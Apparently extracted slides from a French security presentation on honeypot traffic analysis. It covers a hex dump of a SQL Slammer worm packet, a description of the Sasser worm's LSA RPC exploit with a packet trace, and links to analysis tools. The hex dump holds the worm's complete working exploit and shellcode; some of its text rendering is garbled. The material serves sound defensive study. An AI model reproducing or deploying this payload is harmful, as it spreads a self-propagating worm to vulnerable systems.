5	2004-03-12 20:22:48.485888	204.212.196.105	195.80.33.210	UDP	Source port: 1059 Destination port: 1434

- ⊞ Frame 3 (418 bytes on wire, 418 bytes captured)
- ⊞ Ethernet II, Src: 00:50:73:2b:bd:81, Dst: 52:54:00:e8:8a:b9
- ⊞ Internet Protocol, Src Addr: 204.209.208.112 (204.209.208.112), Dst Addr: 195.80.33.210 (195.80.33.210)
- ⊞ User Datagram Protocol, Src Port: 1338 (1338), Dst Port: 1434 (1434)

Data (376 bytes)

```

0000 52 54 00 e8 8a b9 00 50 73 2b bd 81 08 00 45 00 RT.è.¹.P s+¹...E.
0010 01 94 8a ef 00 00 6a 11 42 05 cc d1 d0 70 c3 50 ...i...j. B.iñBpãP
0020 21 d2 05 3a 05 9a 01 80 41 7c 04 01 01 01 01 01 Iò.¿..... AI.....
0030 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 .....
0040 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 .....
0050 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 .....
0060 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 .....
0070 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 .....
0080 01 01 01 01 01 01 01 01 01 01 01 dc c9 b0 42 eb ..... ÜÉ°Bè
0090 0e 01 01 01 01 01 01 01 70 ae 42 01 70 ae 42 90 ..... p0B.p0B.
00a0 90 90 90 90 90 90 90 68 dc c9 b0 42 b8 01 01 01 ..... h ÜÉ°B...
00b0 01 31 c9 b1 18 50 e2 fd 35 01 01 01 05 50 89 e5 .1É+.Päg 5....P.ã
00c0 51 68 2e 64 6c 6c 68 65 6c 33 32 68 6b 65 72 6e Qh.dilhe l32hkern
00d0 51 68 6f 75 6e 74 68 69 63 6b 43 68 47 65 74 54 Qhounthi ckChGetT
00e0 66 b9 6c 6c 51 68 33 32 2e 64 68 77 73 32 5f 66 f¹ l1Qh32 .dhws2_f
00f0 69 65 74 51 68 73 6f 63 6b 66 b9 74 6f 51 68 73 t etQhsoc kf¹ toQhs
0100 65 6e 64 be 18 10 ae 42 8d 45 d4 50 ff 16 50 8d end%.0B .E0Pÿ.P.
0110 45 e0 50 8d 45 f0 50 ff 16 50 be 10 10 ae 42 8b EàP.E0Pÿ .P%.0B.
0120 1e 8b 03 3d 55 8b ec 51 74 05 be 1c 10 ae 42 ff ...=U.iQ t.%.0Bÿ
0130 16 ff d0 31 c9 51 51 50 81 f1 03 01 04 9b 81 f1 .ÿB1ÉQQP .ñ....ñ
0140 01 01 01 01 51 8d 45 cc 50 8b 45 c0 50 ff 16 6a ....Q.Ei P.EAPÿ.j
0150 11 6a 02 6a 02 ff d0 50 8d 45 c4 50 8b 45 c0 50 .j.j.ÿBP .EAP.EAP
0160 ff 16 89 c6 09 db 81 f3 3c 61 d9 ff 8b 45 b4 8d ÿ.Æ.Ü.ó <aÜÿ.E'
0170 0c 40 8d 14 88 c1 e2 04 01 c2 c1 e2 08 29 c2 8d .0...Áâ. .Áââ.)Â.
0180 04 90 01 d8 89 45 b4 6a 10 8d 45 b0 50 31 c9 51 ...0.E'j ..E°P1ÉQ
0190 66 81 f1 78 01 51 8d 45 03 50 8b 45 ac 50 ff d6 f.ñx.Q.E .P.E-Pÿö
01a0 eb ca BÉ
    
```

- × Sasser est un vers sorti le 1er Mai 2004, exploitant une vulnérabilité dans un service RPC lié à Active Directory (Windows 2000 et Windows XP)
- × Interface RPC dssetup, dont l'opération 9 ([DsRolerUpgradeDownlevelServer](#)) permet d'exploiter un débordement de buffer, permettant d'exécuter du code sous l'identité SYSTEM
- × Exploitable en DCE-RPC sur SMB (port 139 ou 445), en utilisant **par exemple** `\pipe\lsarpc` comme tube nommé (session SMB nulle)
- × Corrigé par le bulletin de sécurité MS04-011 (13 Avril 2004)
- × Le correctif supprime l'accès distant à ces opérations
 - × Opérations uniquement utilisées localement (cf. interface dsrole dans Windows Server 2003)

- × Vers Sasser utilise directement un exploit publié le 29 Avril 2004 dans son exécutable (avserve.exe, avserve2.exe, skynetave.exe)
- × Exploit sert à créer un shell sur le port 9996
- × Vers tente de se reconnecter sur ce port, pour provoquer le téléchargement en FTP sur la machine attaquante (déjà compromise) de l'exécutable du vers
 - × Le vers contient un serveur FTP minimaliste, sur le port 5554
- × Analyses
 - × Sasser Worm Technical Analysis (eEye)
<http://www.eeye.com/html/Research/Advisories/AD20040501.html>
 - × Sasser Worm Analysis
<http://www.lurhq.com/sasser.html>

HSC

Vers Sasser (3/3)

No.	Time	Source	Destination	Protocol	Info
398	2004-05-03 10:21:35.819638	203.174.222.244	195.48.245.123	TCP	445 > 64417 [ACK] Seq=185 Ack=306 Win=17335 Len=0
399	2004-05-03 10:21:37.910060	203.174.222.244	195.48.245.123	SMB	Session Setup AndX Response, Error: STATUS_MORE_PROCESSING_REQUIRED
400	2004-05-03 10:21:38.074770	195.48.245.123	203.174.222.244	SMB	Session Setup AndX Request
401	2004-05-03 10:21:38.077981	203.174.222.244	195.48.245.123	SMB	Session Setup AndX Response
402	2004-05-03 10:21:38.214968	195.48.245.123	203.174.222.244	SMB	Tree Connect AndX Request, Path: \\192.70.106.162\ipc\$
403	2004-05-03 10:21:38.215494	203.174.222.244	195.48.245.123	SMB	Tree Connect AndX Response
404	2004-05-03 10:21:38.349388	195.48.245.123	203.174.222.244	SMB	NT Create AndX Request, Path: \lsarpc
405	2004-05-03 10:21:38.350512	203.174.222.244	195.48.245.123	SMB	NT Create AndX Response, FID: 0x4000
406	2004-05-03 10:21:38.491932	195.48.245.123	203.174.222.244	DCERPC	Bind: call_id: 1 UUID: LSA_DS
407	2004-05-03 10:21:38.623787	203.174.222.244	195.48.245.123	TCP	445 > 64417 [ACK] Seq=858 Ack=890 Win=16751 Len=0
408	2004-05-03 10:21:50.909983	203.174.222.244	195.48.245.123	DCERPC	Bind_ack: call_id: 1 accept max_xmit: 4280 max_recv: 4280
409	2004-05-03 10:21:51.146431	195.48.245.123	203.174.222.244	TCP	[Desegmented TCP]
410	2004-05-03 10:21:51.187456	195.48.245.123	203.174.222.244	TCP	[Desegmented TCP]
411	2004-05-03 10:21:51.187524	203.174.222.244	195.48.245.123	TCP	445 > 64417 [ACK] Seq=986 Ack=3410 Win=17640 Len=0
412	2004-05-03 10:21:51.214024	195.48.245.123	203.174.222.244	LSA_DS	DsRolerUpgradeDownlevelServer request
413	2004-05-03 10:21:51.342595	203.174.222.244	195.48.245.123	TCP	445 > 64417 [ACK] Seq=986 Ack=4210 Win=16840 Len=0
414	2004-05-03 10:21:51.361397	195.48.245.123	203.174.222.244	TCP	64417 > 445 [ACK] Seq=4210 Ack=986 Win=63527 Len=0
415	2004-05-03 10:21:51.383941	203.174.222.244	195.48.245.123	LSA_DS	DsRolerUpgradeDownlevelServer response
416	2004-05-03 10:21:52.035783	195.48.245.123	203.174.222.244	TCP	64417 > 445 [ACK] Seq=4210 Ack=1094 Win=63419 Len=0
417	2004-05-03 10:21:52.048825	195.48.245.123	203.174.222.244	TCP	11333 > 9996 [SYN] Seq=0 Ack=0 Win=64512 Len=0 MSS=1380
418	2004-05-03 10:21:52.049063	203.174.222.244	195.48.245.123	TCP	9996 > 11333 [RST, ACK] Seq=0 Ack=0 Win=0 Len=0
419	2004-05-03 10:21:52.055460	195.48.245.123	203.174.222.244	TCP	64417 > 445 [RST] Seq=4210 Ack=539400457 Win=0 Len=0
420	2004-05-03 10:21:52.656083	195.48.245.123	203.174.222.244	TCP	11333 > 9996 [SYN] Seq=0 Ack=0 Win=64512 Len=0 MSS=1380
421	2004-05-03 10:21:52.656320	203.174.222.244	195.48.245.123	TCP	9996 > 11333 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0
422	2004-05-03 10:21:53.213000	195.48.245.123	203.174.222.244	TCP	11333 > 9996 [SYN] Seq=0 Ack=0 Win=64512 Len=0 MSS=1380
423	2004-05-03 10:21:53.213240	203.174.222.244	195.48.245.123	TCP	9996 > 11333 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0

- × Analyse réseau du trafic sur l'Internet
 - × Permet d'obtenir une bonne idée des vers et virus en vogue
 - × Méthode utilisée ici (pot de miel) ne permet pas de capturer certains virus et vers qui nécessitent une interaction avec le composant logiciel visé
 - × Phase d'analyse préliminaire pour déterminer la typologie du trafic
 - × Identification du type de vers ou virus, en se basant sur les numéros de port, la taille et le contenu des données échangées, le contexte, ...
 - × ethereal est souvent utilisé pour des tâches bien précises (analyse fine)

- × Ethereal : <http://www.ethereal.com/>
- × Manipulation de traces réseau
 - × argus : <http://www.qosient.com/argus/>
 - × ipsumdump : <http://www.icir.org/kohler/ipsumdump/>
 - × ngrep : <http://ngrep.sf.net/>
 - × tcpflow : <http://tcpflow.sf.net/>
 - × split.py : <http://oss.coresecurity.com/projects/impacket.html>
 - × tcpreplay (capinfo) : <http://tcpreplay.sf.net/>
- × Analyse de binaires
 - × PE ReaDeR (perdr) : <http://perdr.sf.net/>
 - × upx : <http://upx.sf.net/>

- × A l'ensemble des consultants HSC et plus particulièrement à Yann Berthier, Denis Ducamp et Alain Thivillon
- × Merci à Vanja Svajcer